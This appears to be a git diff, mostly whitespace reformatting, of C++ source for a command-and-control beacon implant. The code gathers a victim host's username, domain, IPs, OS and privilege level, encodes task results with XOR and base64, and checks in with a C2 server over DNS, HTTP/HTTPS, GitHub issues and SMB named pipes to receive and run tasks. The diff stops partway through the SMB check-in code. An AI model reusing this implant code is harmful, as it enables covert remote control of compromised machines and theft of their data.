diff --git a/beacon/Beacon.cpp b/beacon/Beacon.cpp index 8fce61f..2064685 100644 --- a/beacon/Beacon.cpp +++ b/beacon/Beacon.cpp @@ -51,13 +51,13 @@ std::string getInternalIP() struct ifaddrs* ifAddrStruct = nullptr; getifaddrs(&ifAddrStruct); - std::string ips = ""; + std::string ips = ""; for (struct ifaddrs* ifa = ifAddrStruct; ifa != nullptr; ifa = ifa->ifa_next) - { + { if (ifa->ifa_addr && ifa->ifa_addr->sa_family == AF_INET) - { - if(!ips.empty()) - ips+="\n"; + { + if(!ips.empty()) + ips+="\n"; void* tmpAddrPtr = &((struct sockaddr_in*)ifa->ifa_addr)->sin_addr; char addressBuffer[INET_ADDRSTRLEN]; @@ -65,17 +65,17 @@ std::string getInternalIP() // Filter out loopback if (std::string(ifa->ifa_name) != "lo") - { - ips += ifa->ifa_name; - ips += ": "; - ips += addressBuffer; - } + { + ips += ifa->ifa_name; + ips += ": "; + ips += addressBuffer; + } } } if (ifAddrStruct) - freeifaddrs(ifAddrStruct); - - return ips; + freeifaddrs(ifAddrStruct); + + return ips; } @@ -103,14 +103,14 @@ std::string getInternalIP() WSADATA wsaData; char hostname[256]; - std::string ips = ""; + std::string ips = ""; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) - { + { return ips; } if (gethostname(hostname, sizeof(hostname)) == SOCKET_ERROR) - { + { WSACleanup(); return ips; } @@ -121,26 +121,26 @@ std::string getInternalIP() hints.ai_protocol = IPPROTO_TCP; if (getaddrinfo(hostname, nullptr, &hints, &result) != 0) - { + { WSACleanup(); return ips; } for (struct addrinfo* ptr = result; ptr != nullptr; ptr = ptr->ai_next) - { - if(!ips.empty()) - ips+="\n"; + { + if(!ips.empty()) + ips+="\n"; struct sockaddr_in* sockaddr_ipv4 = reinterpret_cast(ptr->ai_addr); char ipStr[INET_ADDRSTRLEN]; inet_ntop(AF_INET, &sockaddr_ipv4->sin_addr, ipStr, sizeof(ipStr)); - ips += ipStr; + ips += ipStr; } freeaddrinfo(result); WSACleanup(); - return ips; + return ips; } @@ -152,58 +152,58 @@ int getCurrentPID() enum IntegrityLevel { - INTEGRITY_UNKNOWN, - UNTRUSTED_INTEGRITY, - LOW_INTEGRITY, - MEDIUM_INTEGRITY, - HIGH_INTEGRITY, + INTEGRITY_UNKNOWN, + UNTRUSTED_INTEGRITY, + LOW_INTEGRITY, + MEDIUM_INTEGRITY, + HIGH_INTEGRITY, }; IntegrityLevel GetCurrentProcessIntegrityLevel() { - HANDLE hToken = NULL; - BOOL result = false; - TOKEN_USER* tokenUser = NULL; - DWORD dwLength = 0; + HANDLE hToken = NULL; + BOOL result = false; + TOKEN_USER* tokenUser = NULL; + DWORD dwLength = 0; - OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken); + OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken); - DWORD token_info_length = 0; - if (::GetTokenInformation(hToken, TokenIntegrityLevel, - nullptr, 0, &token_info_length) || - ::GetLastError() != ERROR_INSUFFICIENT_BUFFER) { - return INTEGRITY_UNKNOWN; - } + DWORD token_info_length = 0; + if (::GetTokenInformation(hToken, TokenIntegrityLevel, + nullptr, 0, &token_info_length) || + ::GetLastError() != ERROR_INSUFFICIENT_BUFFER) { + return INTEGRITY_UNKNOWN; + } - auto token_label_bytes = std::make_unique(token_info_length); - TOKEN_MANDATORY_LABEL* token_label = - reinterpret_cast(token_label_bytes.get()); - if (!::GetTokenInformation(hToken, TokenIntegrityLevel, - token_label, token_info_length, - &token_info_length)) { - return INTEGRITY_UNKNOWN; - } - DWORD integrity_level = *::GetSidSubAuthority( - token_label->Label.Sid, - static_cast(*::GetSidSubAuthorityCount(token_label->Label.Sid) - - 1)); + auto token_label_bytes = std::make_unique(token_info_length); + TOKEN_MANDATORY_LABEL* token_label = + reinterpret_cast(token_label_bytes.get()); + if (!::GetTokenInformation(hToken, TokenIntegrityLevel, + token_label, token_info_length, + &token_info_length)) { + return INTEGRITY_UNKNOWN; + } + DWORD integrity_level = *::GetSidSubAuthority( + token_label->Label.Sid, + static_cast(*::GetSidSubAuthorityCount(token_label->Label.Sid) - + 1)); - if (integrity_level < SECURITY_MANDATORY_LOW_RID) - return UNTRUSTED_INTEGRITY; + if (integrity_level < SECURITY_MANDATORY_LOW_RID) + return UNTRUSTED_INTEGRITY; - if (integrity_level < SECURITY_MANDATORY_MEDIUM_RID) - return LOW_INTEGRITY; + if (integrity_level < SECURITY_MANDATORY_MEDIUM_RID) + return LOW_INTEGRITY; - if (integrity_level >= SECURITY_MANDATORY_MEDIUM_RID && - integrity_level < SECURITY_MANDATORY_HIGH_RID) { - return MEDIUM_INTEGRITY; - } + if (integrity_level >= SECURITY_MANDATORY_MEDIUM_RID && + integrity_level < SECURITY_MANDATORY_HIGH_RID) { + return MEDIUM_INTEGRITY; + } - if (integrity_level >= SECURITY_MANDATORY_HIGH_RID) - return HIGH_INTEGRITY; + if (integrity_level >= SECURITY_MANDATORY_HIGH_RID) + return HIGH_INTEGRITY; - return INTEGRITY_UNKNOWN; + return INTEGRITY_UNKNOWN; } #endif @@ -222,109 +222,109 @@ Beacon::Beacon() #ifdef __linux__ - char hostname[2048]; - char username[2048]; - gethostname(hostname, 2048); - getlogin_r(username, 2048); + char hostname[2048]; + char username[2048]; + gethostname(hostname, 2048); + getlogin_r(username, 2048); - m_hostname = hostname; - m_username = username; + m_hostname = hostname; + m_username = username; - uid_t uid = geteuid (); - struct passwd *pw = getpwuid (uid); - if (pw) - m_username = std::string(pw->pw_name); + uid_t uid = geteuid (); + struct passwd *pw = getpwuid (uid); + if (pw) + m_username = std::string(pw->pw_name); - struct utsname unameData; - uname(&unameData); + struct utsname unameData; + uname(&unameData); - m_additionalInfo = unameData.sysname; - m_additionalInfo += "\n"; - m_additionalInfo += unameData.nodename; - m_additionalInfo += "\n"; - m_additionalInfo += unameData.release; - m_additionalInfo += "\n"; - m_additionalInfo += unameData.version; - m_additionalInfo += "\n"; - m_additionalInfo += unameData.machine; + m_additionalInfo = unameData.sysname; + m_additionalInfo += "\n"; + m_additionalInfo += unameData.nodename; + m_additionalInfo += "\n"; + m_additionalInfo += unameData.release; + m_additionalInfo += "\n"; + m_additionalInfo += unameData.version; + m_additionalInfo += "\n"; + m_additionalInfo += unameData.machine; - m_arch = unameData.machine; + m_arch = unameData.machine; - m_privilege = "user"; - if(m_username=="root") - m_privilege = "root"; - + m_privilege = "user"; + if(m_username=="root") + m_privilege = "root"; + m_os = unameData.sysname; m_os += " "; m_os += unameData.release; #elif _WIN32 - TCHAR infoBuf[INFO_BUFFER_SIZE]; - DWORD bufCharCount = INFO_BUFFER_SIZE; + TCHAR infoBuf[INFO_BUFFER_SIZE]; + DWORD bufCharCount = INFO_BUFFER_SIZE; - // Get and display the name of the computer. - m_hostname = "unknown"; - if( GetComputerName( infoBuf, &bufCharCount ) ) - m_hostname = infoBuf; + // Get and display the name of the computer. + m_hostname = "unknown"; + if( GetComputerName( infoBuf, &bufCharCount ) ) + m_hostname = infoBuf; - std::string username1; + std::string username1; if( GetUserName( infoBuf, &bufCharCount ) ) - username1 = infoBuf; + username1 = infoBuf; - // ?? - std::string acctName; - std::string domainname; + // ?? + std::string acctName; + std::string domainname; - TOKEN_USER tokenUser; - ZeroMemory(&tokenUser, sizeof(TOKEN_USER)); - DWORD tokenUserLength = 0; + TOKEN_USER tokenUser; + ZeroMemory(&tokenUser, sizeof(TOKEN_USER)); + DWORD tokenUserLength = 0; - PTOKEN_USER pTokenUser; - GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, NULL, - 0, &tokenUserLength); - pTokenUser = (PTOKEN_USER) new BYTE[tokenUserLength]; + PTOKEN_USER pTokenUser; + GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, NULL, + 0, &tokenUserLength); + pTokenUser = (PTOKEN_USER) new BYTE[tokenUserLength]; - if (GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, pTokenUser, tokenUserLength, &tokenUserLength)) - { - TCHAR szUserName[_MAX_PATH]; - DWORD dwUserNameLength = _MAX_PATH; - TCHAR szDomainName[_MAX_PATH]; - DWORD dwDomainNameLength = _MAX_PATH; - SID_NAME_USE sidNameUse; - LookupAccountSid(NULL, pTokenUser->User.Sid, szUserName, &dwUserNameLength, szDomainName, &dwDomainNameLength, &sidNameUse); - acctName=szUserName; - domainname=szDomainName; - delete[] pTokenUser; - } + if (GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, pTokenUser, tokenUserLength, &tokenUserLength)) + { + TCHAR szUserName[_MAX_PATH]; + DWORD dwUserNameLength = _MAX_PATH; + TCHAR szDomainName[_MAX_PATH]; + DWORD dwDomainNameLength = _MAX_PATH; + SID_NAME_USE sidNameUse; + LookupAccountSid(NULL, pTokenUser->User.Sid, szUserName, &dwUserNameLength, szDomainName, &dwDomainNameLength, &sidNameUse); + acctName=szUserName; + domainname=szDomainName; + delete[] pTokenUser; + } - if(!domainname.empty()) - m_username+=domainname; - else if(!m_hostname.empty()) - m_username+=m_hostname; - else - m_username+="."; + if(!domainname.empty()) + m_username+=domainname; + else if(!m_hostname.empty()) + m_username+=m_hostname; + else + m_username+="."; - m_username+="\\"; - if(!acctName.empty()) - m_username+=acctName; - else if(!username1.empty()) - m_username+=username1; - else - m_username+="unknow"; + m_username+="\\"; + if(!acctName.empty()) + m_username+=acctName; + else if(!username1.empty()) + m_username+=username1; + else + m_username+="unknow"; - SYSTEM_INFO systemInfo = { 0 }; - GetNativeSystemInfo(&systemInfo); + SYSTEM_INFO systemInfo = { 0 }; + GetNativeSystemInfo(&systemInfo); - m_arch = "x64"; - if (systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL) - m_arch = "x86"; + m_arch = "x64"; + if (systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL) + m_arch = "x86"; m_os = "Windows"; - IntegrityLevel integrityLevel = GetCurrentProcessIntegrityLevel(); + IntegrityLevel integrityLevel = GetCurrentProcessIntegrityLevel(); - m_privilege = "-"; + m_privilege = "-"; if (integrityLevel == INTEGRITY_UNKNOWN) m_privilege = "UNKNOWN"; else if (integrityLevel == UNTRUSTED_INTEGRITY) @@ -349,28 +349,28 @@ Beacon::Beacon() void Beacon::run() { - bool exit = false; - while (!exit) - { - try - { - checkIn(); + bool exit = false; + while (!exit) + { + try + { + checkIn(); - exit = runTasks(); - - sleep(); - } - catch(const std::exception& ex) - { - sleep(); - } - catch (...) - { - sleep(); - } - } + exit = runTasks(); + + sleep(); + } + catch(const std::exception& ex) + { + sleep(); + } + catch (...) + { + sleep(); + } + } - checkIn(); + checkIn(); } @@ -466,71 +466,71 @@ bool Beacon::cmdToTasks(const std::string& input) // Create the response message from the results of all the commmands send to this beacon and child beacons bool Beacon::taskResultsToCmd(std::string& output) { - // Handle results of commands address to this particular Beacon - MultiBundleC2Message multiBundleC2Message; - BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages(); + // Handle results of commands address to this particular Beacon + MultiBundleC2Message multiBundleC2Message; + BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages(); - // TODO check of m_taskResult contain a getInfo cmd and add context info if it does - bundleC2Message->set_beaconhash(m_beaconHash); - bundleC2Message->set_hostname(m_hostname); - bundleC2Message->set_username(m_username); - bundleC2Message->set_arch(m_arch); - bundleC2Message->set_privilege(m_privilege); - bundleC2Message->set_os(m_os); - bundleC2Message->set_lastProofOfLife("0"); - bundleC2Message->set_internalIps(m_ips); - bundleC2Message->set_processId(m_pid); - bundleC2Message->set_additionalInformation(m_additionalInfo); + // TODO check of m_taskResult contain a getInfo cmd and add context info if it does + bundleC2Message->set_beaconhash(m_beaconHash); + bundleC2Message->set_hostname(m_hostname); + bundleC2Message->set_username(m_username); + bundleC2Message->set_arch(m_arch); + bundleC2Message->set_privilege(m_privilege); + bundleC2Message->set_os(m_os); + bundleC2Message->set_lastProofOfLife("0"); + bundleC2Message->set_internalIps(m_ips); + bundleC2Message->set_processId(m_pid); + bundleC2Message->set_additionalInformation(m_additionalInfo); - while(!m_taskResult.empty()) - { - C2Message c2MessageRet=m_taskResult.front(); - // C2Message *addedC2MessageRet = bundleC2Message->add_c2messages(); - // addedC2MessageRet->CopyFrom(c2MessageRet); - bundleC2Message->add_c2messages(c2MessageRet); - m_taskResult.pop(); - } + while(!m_taskResult.empty()) + { + C2Message c2MessageRet=m_taskResult.front(); + // C2Message *addedC2MessageRet = bundleC2Message->add_c2messages(); + // addedC2MessageRet->CopyFrom(c2MessageRet); + bundleC2Message->add_c2messages(c2MessageRet); + m_taskResult.pop(); + } - // Handle results of commands address to child sessions + // Handle results of commands address to child sessions for(int i=0; igetNumberOfSession(); j++) - { - std::shared_ptr ptr = m_listeners[i]->getSessionPtr(j); + { + std::shared_ptr ptr = m_listeners[i]->getSessionPtr(j); - BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages(); - - // TODO check of m_taskResult contain a getInfo cmd and add context info if it does - bundleC2Message->set_beaconhash(ptr->getBeaconHash()); - bundleC2Message->set_listenerhash(ptr->getListenerHash()); - bundleC2Message->set_hostname(ptr->getHostname()); - bundleC2Message->set_username(ptr->getUsername()); - bundleC2Message->set_arch(ptr->getArch()); - bundleC2Message->set_privilege(ptr->getPrivilege()); - bundleC2Message->set_os(ptr->getOs()); - bundleC2Message->set_lastProofOfLife(ptr->getLastProofOfLife()); - bundleC2Message->set_internalIps(ptr->getInternalIps()); - bundleC2Message->set_processId(ptr->getProcessId()); - bundleC2Message->set_additionalInformation(ptr->getAdditionalInformation()); + BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages(); + + // TODO check of m_taskResult contain a getInfo cmd and add context info if it does + bundleC2Message->set_beaconhash(ptr->getBeaconHash()); + bundleC2Message->set_listenerhash(ptr->getListenerHash()); + bundleC2Message->set_hostname(ptr->getHostname()); + bundleC2Message->set_username(ptr->getUsername()); + bundleC2Message->set_arch(ptr->getArch()); + bundleC2Message->set_privilege(ptr->getPrivilege()); + bundleC2Message->set_os(ptr->getOs()); + bundleC2Message->set_lastProofOfLife(ptr->getLastProofOfLife()); + bundleC2Message->set_internalIps(ptr->getInternalIps()); + bundleC2Message->set_processId(ptr->getProcessId()); + bundleC2Message->set_additionalInformation(ptr->getAdditionalInformation()); - C2Message c2Message = ptr->getTaskResult(); - while(!c2Message.instruction().empty()) - { - // C2Message *addedC2MessageRet = bundleC2Message->add_c2messages(); - // addedC2MessageRet->CopyFrom(c2Message); - bundleC2Message->add_c2messages(c2Message); - c2Message = ptr->getTaskResult(); - } - } - } + C2Message c2Message = ptr->getTaskResult(); + while(!c2Message.instruction().empty()) + { + // C2Message *addedC2MessageRet = bundleC2Message->add_c2messages(); + // addedC2MessageRet->CopyFrom(c2Message); + bundleC2Message->add_c2messages(c2Message); + c2Message = ptr->getTaskResult(); + } + } + } - std::string data; - multiBundleC2Message.SerializeToString(&data); + std::string data; + multiBundleC2Message.SerializeToString(&data); - XOR(data, m_key); - output = base64_encode(data); + XOR(data, m_key); + output = base64_encode(data); - return true; + return true; } @@ -538,53 +538,53 @@ bool Beacon::taskResultsToCmd(std::string& output) // Returns true if an instruction indicates the beacon should exit, otherwise false. bool Beacon::runTasks() { - // Execute all recurring module commands and collect their results. - for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it) - { - C2Message c2RetMessage; - int result = (*it)->recurringExec(c2RetMessage); + // Execute all recurring module commands and collect their results. + for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it) + { + C2Message c2RetMessage; + int result = (*it)->recurringExec(c2RetMessage); - // If the module executed successfully, store the result for response construction. - if (result) - m_taskResult.push(c2RetMessage); - } + // If the module executed successfully, store the result for response construction. + if (result) + m_taskResult.push(c2RetMessage); + } - // Process each individual task assigned to this beacon. - // These are one-time commands sent from the C2 server. - while (!m_tasks.empty()) - { - C2Message c2Message = m_tasks.front(); - m_tasks.pop(); + // Process each individual task assigned to this beacon. + // These are one-time commands sent from the C2 server. + while (!m_tasks.empty()) + { + C2Message c2Message = m_tasks.front(); + m_tasks.pop(); - C2Message c2RetMessage; - - // Execute the instruction and generate the response. - bool exit = execInstruction(c2Message, c2RetMessage); + C2Message c2RetMessage; + + // Execute the instruction and generate the response. + bool exit = execInstruction(c2Message, c2RetMessage); - // Store the result of the execution. - m_taskResult.push(std::move(c2RetMessage)); + // Store the result of the execution. + m_taskResult.push(std::move(c2RetMessage)); - // If the instruction indicates the beacon should exit, return immediately. - if (exit) - return exit; - } + // If the instruction indicates the beacon should exit, return immediately. + if (exit) + return exit; + } - // Add a heartbeat or "proof-of-life" message for each active listener. - // This helps the C2 track which listeners are still alive and their current state. - for (int i = 0; i < m_listeners.size(); i++) - { - C2Message listenerProofOfLife; + // Add a heartbeat or "proof-of-life" message for each active listener. + // This helps the C2 track which listeners are still alive and their current state. + for (int i = 0; i < m_listeners.size(); i++) + { + C2Message listenerProofOfLife; - listenerProofOfLife.set_instruction(ListenerPollCmd); // Indicate this is a poll/proof message. - listenerProofOfLife.set_data(m_listeners[i]->getListenerHash()); // Include unique listener identifier. - listenerProofOfLife.set_returnvalue(m_listeners[i]->getListenerMetadata()); // Include listener status/metadata. + listenerProofOfLife.set_instruction(ListenerPollCmd); // Indicate this is a poll/proof message. + listenerProofOfLife.set_data(m_listeners[i]->getListenerHash()); // Include unique listener identifier. + listenerProofOfLife.set_returnvalue(m_listeners[i]->getListenerMetadata()); // Include listener status/metadata. - // Add the heartbeat to the response queue. - m_taskResult.push(listenerProofOfLife); - } + // Add the heartbeat to the response queue. + m_taskResult.push(listenerProofOfLife); + } - // No exit signal was received; continue beacon execution. - return false; + // No exit signal was received; continue beacon execution. + return false; } diff --git a/beacon/Beacon.hpp b/beacon/Beacon.hpp index d8138e5..7822529 100644 --- a/beacon/Beacon.hpp +++ b/beacon/Beacon.hpp @@ -23,29 +23,29 @@ public: Beacon(); virtual ~Beacon() = default; - bool initConfig(const std::string& config); - void run(); + bool initConfig(const std::string& config); + void run(); protected: - virtual void checkIn() = 0; - bool runTasks(); - void sleep(); + virtual void checkIn() = 0; + bool runTasks(); + void sleep(); - bool execInstruction(C2Message& c2Message, C2Message& c2RetMessage); - bool cmdToTasks(const std::string& input); - bool taskResultsToCmd(std::string& output); + bool execInstruction(C2Message& c2Message, C2Message& c2RetMessage); + bool cmdToTasks(const std::string& input); + bool taskResultsToCmd(std::string& output); - int m_aliveTimerMs; + int m_aliveTimerMs; - std::string m_beaconHash; - std::string m_hostname; - std::string m_username; - std::string m_arch; - std::string m_privilege; - std::string m_os; - std::string m_ips; - std::string m_pid; - std::string m_additionalInfo; + std::string m_beaconHash; + std::string m_hostname; + std::string m_username; + std::string m_arch; + std::string m_privilege; + std::string m_os; + std::string m_ips; + std::string m_pid; + std::string m_additionalInfo; std::queue m_tasks; std::queue m_taskResult; diff --git a/beacon/BeaconDns.cpp b/beacon/BeaconDns.cpp index 598baea..57a9d71 100644 --- a/beacon/BeaconDns.cpp +++ b/beacon/BeaconDns.cpp @@ -7,42 +7,42 @@ using namespace dns; BeaconDns::BeaconDns(std::string& config, const std::string& dnsServer, const std::string& domain) - : Beacon() + : Beacon() { - // beacon and modules config + // beacon and modules config initConfig(config); - - m_client=new Client(dnsServer, domain); + + m_client=new Client(dnsServer, domain); } BeaconDns::~BeaconDns() { - delete m_client; + delete m_client; } void BeaconDns::checkIn() -{ - SPDLOG_DEBUG("initConnection"); +{ + SPDLOG_DEBUG("initConnection"); - std::string output; - taskResultsToCmd(output); + std::string output; + taskResultsToCmd(output); - SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size())); + SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size())); - m_client->sendMessage(output); + m_client->sendMessage(output); - std::string input = m_client->requestMessage(); + std::string input = m_client->requestMessage(); - if(!input.empty()) - { - SPDLOG_DEBUG("received input.size {0}", std::to_string(input.size())); - cmdToTasks(input); - } + if(!input.empty()) + { + SPDLOG_DEBUG("received input.size {0}", std::to_string(input.size())); + cmdToTasks(input); + } } - + diff --git a/beacon/BeaconDns.hpp b/beacon/BeaconDns.hpp index 77661ff..0a9206b 100644 --- a/beacon/BeaconDns.hpp +++ b/beacon/BeaconDns.hpp @@ -4,18 +4,18 @@ namespace dns { - class Client; + class Client; } class BeaconDns : public Beacon { public: - BeaconDns(std::string& config, const std::string& dnsServer, const std::string& domain); - ~BeaconDns(); + BeaconDns(std::string& config, const std::string& dnsServer, const std::string& domain); + ~BeaconDns(); private: - void checkIn(); + void checkIn(); - dns::Client* m_client; + dns::Client* m_client; }; diff --git a/beacon/BeaconGithub.cpp b/beacon/BeaconGithub.cpp index ac57c59..4c2f823 100644 --- a/beacon/BeaconGithub.cpp +++ b/beacon/BeaconGithub.cpp @@ -70,8 +70,8 @@ int BeaconGithub::GithubPost(const string& domain, const string& url, const stri json httpHeaders = { { "Accept", "application/vnd.github+json" }, - { "Authorization", auth }, - { "Cookie", "logged_in=no" } + { "Authorization", auth }, + { "Cookie", "logged_in=no" } }; for (auto& it : httpHeaders.items()) @@ -115,9 +115,9 @@ int BeaconGithub::GithubPost(const string& domain, const string& url, const stri // Check for available data. dwSize = 0; if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) - { + { // printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError()); - } + } // Allocate space for the buffer. pszOutBuffer = new char[dwSize + 1]; @@ -133,9 +133,9 @@ int BeaconGithub::GithubPost(const string& domain, const string& url, const stri DWORD dwDownloaded = 0; if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) - { + { // printf("Error %u in WinHttpReadData.\n", GetLastError()); - } + } else { // printf("%s", pszOutBuffer); @@ -198,8 +198,8 @@ int BeaconGithub::GithubGet(const string& domain, const string& url, string& res json httpHeaders = { { "Accept", "application/vnd.github+json" }, - { "Authorization", auth }, - { "Cookie", "logged_in=no" } + { "Authorization", auth }, + { "Cookie", "logged_in=no" } }; for (auto& it : httpHeaders.items()) @@ -239,9 +239,9 @@ int BeaconGithub::GithubGet(const string& domain, const string& url, string& res // Check for available data. dwSize = 0; if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) - { + { // printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError()); - } + } // Allocate space for the buffer. pszOutBuffer = new char[dwSize + 1]; @@ -257,9 +257,9 @@ int BeaconGithub::GithubGet(const string& domain, const string& url, string& res DWORD dwDownloaded = 0; if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) - { + { // printf("Error %u in WinHttpReadData.\n", GetLastError()); - } + } else { // printf("%s", pszOutBuffer); @@ -307,9 +307,9 @@ int BeaconGithub::HandleRequest(const string& domain, const string& url) if(nbComments!=0) { std::string issueEndpoint = "/repos/"; - issueEndpoint += m_project; + issueEndpoint += m_project; issueEndpoint += "/issues/"; - issueEndpoint += std::to_string(number); + issueEndpoint += std::to_string(number); issueEndpoint += "/comments"; statusCode = GithubGet(domain, issueEndpoint, response); @@ -351,9 +351,9 @@ int BeaconGithub::HandleRequest(const string& domain, const string& url) // close the issue std::string issueEndpoint = "/repos/"; - issueEndpoint += m_project; + issueEndpoint += m_project; issueEndpoint += "/issues/"; - issueEndpoint += std::to_string(number); + issueEndpoint += std::to_string(number); // Post data json responseData = {{"state", "closed"}}; @@ -372,7 +372,7 @@ int BeaconGithub::HandleRequest(const string& domain, const string& url) BeaconGithub::BeaconGithub(std::string& config, const std::string& project, const std::string& token) - : Beacon() + : Beacon() , m_project(project) , m_token(token) { @@ -409,8 +409,8 @@ void BeaconGithub::checkIn() // httplib::Client cli(url); // std::string endpoint = "/repos/"; - // endpoint += m_project; - // endpoint += "/issues"; + // endpoint += m_project; + // endpoint += "/issues"; // std::cout << "endpoint " << endpoint << std::endl; @@ -462,13 +462,13 @@ void BeaconGithub::checkIn() // std::string number = issue["number"]; // std::string issueEndpoint = "/repos/"; - // issueEndpoint += m_project; + // issueEndpoint += m_project; // issueEndpoint += "/issues/"; - // issueEndpoint += number; + // issueEndpoint += number; // // auto response = cli.Post(issueEndpoint, headers, data, contentType); // } // } - // } + // } #elif _WIN32 @@ -476,13 +476,13 @@ void BeaconGithub::checkIn() std::string url = "api.github.com"; std::string endPoint = "/repos/"; - endPoint += m_project; - endPoint += "/issues"; + endPoint += m_project; + endPoint += "/issues"; std::cout << "endPoint " << endPoint << std::endl; - std::string output; - taskResultsToCmd(output); + std::string output; + taskResultsToCmd(output); // Sent response // TODO handle big response with multiple comments diff --git a/beacon/BeaconGithub.hpp b/beacon/BeaconGithub.hpp index d039db9..da6983c 100644 --- a/beacon/BeaconGithub.hpp +++ b/beacon/BeaconGithub.hpp @@ -7,20 +7,20 @@ class BeaconGithub : public Beacon { public: - BeaconGithub(std::string& config, const std::string& project, const std::string& token); - ~BeaconGithub(); + BeaconGithub(std::string& config, const std::string& project, const std::string& token); + ~BeaconGithub(); - void checkIn(); + void checkIn(); -private: - std::string m_project; - std::string m_token; +private: + std::string m_project; + std::string m_token; #ifdef _WIN32 - int HandleRequest(const std::string& domain, const std::string& url); + int HandleRequest(const std::string& domain, const std::string& url); - int GithubPost(const std::string& domain, const std::string& url, const std::string& data, std::string &response); - int GithubGet(const std::string& domain, const std::string& url, std::string &response); + int GithubPost(const std::string& domain, const std::string& url, const std::string& data, std::string &response); + int GithubGet(const std::string& domain, const std::string& url, std::string &response); #endif }; diff --git a/beacon/BeaconHttp.cpp b/beacon/BeaconHttp.cpp index a7c813d..de4e288 100644 --- a/beacon/BeaconHttp.cpp +++ b/beacon/BeaconHttp.cpp @@ -126,9 +126,9 @@ string HttpsWebRequestPost(const string& domain, int port, const string& url, co // Check for available data. dwSize = 0; if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) - { + { // printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError()); - } + } // Allocate space for the buffer. pszOutBuffer = new char[dwSize + 1]; @@ -144,9 +144,9 @@ string HttpsWebRequestPost(const string& domain, int port, const string& url, co DWORD dwDownloaded = 0; if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) - { + { // printf("Error %u in WinHttpReadData.\n", GetLastError()); - } + } else { // printf("%s", pszOutBuffer); @@ -260,9 +260,9 @@ string HttpsWebRequestGet(const string& domain, int port, const string& url, con // Check for available data. dwSize = 0; if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) - { + { // printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError()); - } + } // Allocate space for the buffer. pszOutBuffer = new char[dwSize + 1]; @@ -278,9 +278,9 @@ string HttpsWebRequestGet(const string& domain, int port, const string& url, con DWORD dwDownloaded = 0; if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) - { + { // printf("Error %u in WinHttpReadData.\n", GetLastError()); - } + } else { // printf("%s", pszOutBuffer); @@ -313,7 +313,7 @@ string HttpsWebRequestGet(const string& domain, int port, const string& url, con BeaconHttp::BeaconHttp(std::string& config, std::string& ip, int port, bool isHttps) - : Beacon() + : Beacon() , m_isHttps(isHttps) { srand(time(NULL)); @@ -420,8 +420,8 @@ void BeaconHttp::checkIn() endPoint = httpUri[ rand() % httpUri.size() ]; } - std::string output; - taskResultsToCmd(output); + std::string output; + taskResultsToCmd(output); nlohmann::json httpHeaders; if(!m_isHttps) diff --git a/beacon/BeaconHttp.hpp b/beacon/BeaconHttp.hpp index baf0d4f..bd82a4d 100644 --- a/beacon/BeaconHttp.hpp +++ b/beacon/BeaconHttp.hpp @@ -7,16 +7,16 @@ class BeaconHttp : public Beacon { public: - BeaconHttp(std::string& config, std::string& ip, int port, bool https=false); - ~BeaconHttp(); + BeaconHttp(std::string& config, std::string& ip, int port, bool https=false); + ~BeaconHttp(); - void checkIn(); + void checkIn(); private: - std::string m_ip; - int m_port; + std::string m_ip; + int m_port; - nlohmann::json m_beaconHttpConfig; - bool m_isHttps; + nlohmann::json m_beaconHttpConfig; + bool m_isHttps; }; diff --git a/beacon/BeaconSmb.cpp b/beacon/BeaconSmb.cpp index 5fc140c..8c6a0b2 100644 --- a/beacon/BeaconSmb.cpp +++ b/beacon/BeaconSmb.cpp @@ -6,62 +6,62 @@ using namespace PipeHandler; BeaconSmb::BeaconSmb(std::string& config, const std::string& ip, const std::string& pipeName) - : Beacon() + : Beacon() { - // beacon and modules config + // beacon and modules config initConfig(config); - m_clientSmb = new PipeHandler::Client(ip, pipeName); + m_clientSmb = new PipeHandler::Client(ip, pipeName); } BeaconSmb::~BeaconSmb() { - delete m_clientSmb; + delete m_clientSmb; } void BeaconSmb::checkIn() { - SPDLOG_DEBUG("initConnection"); - while(!m_clientSmb->initConnection()) - { - std::this_thread::sleep_for(std::chrono::milliseconds(333)); - SPDLOG_DEBUG("initConnection"); - } + SPDLOG_DEBUG("initConnection"); + while(!m_clientSmb->initConnection()) + { + std::this_thread::sleep_for(std::chrono::milliseconds(333)); + SPDLOG_DEBUG("initConnection"); + } - std::string output; - taskResultsToCmd(output); + std::string output; + taskResultsToCmd(output); - SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size())); + SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size())); - bool res = m_clientSmb->sendData(output); - if(res) - { - string input; - while(input.empty()) - { - res=m_clientSmb->receiveData(input); - std::this_thread::sleep_for(std::chrono::milliseconds(50)); - } - if(res) - { - SPDLOG_DEBUG("received input.size {0}", std::to_string(input.size())); + bool res = m_clientSmb->sendData(output); + if(res) + { + string input; + 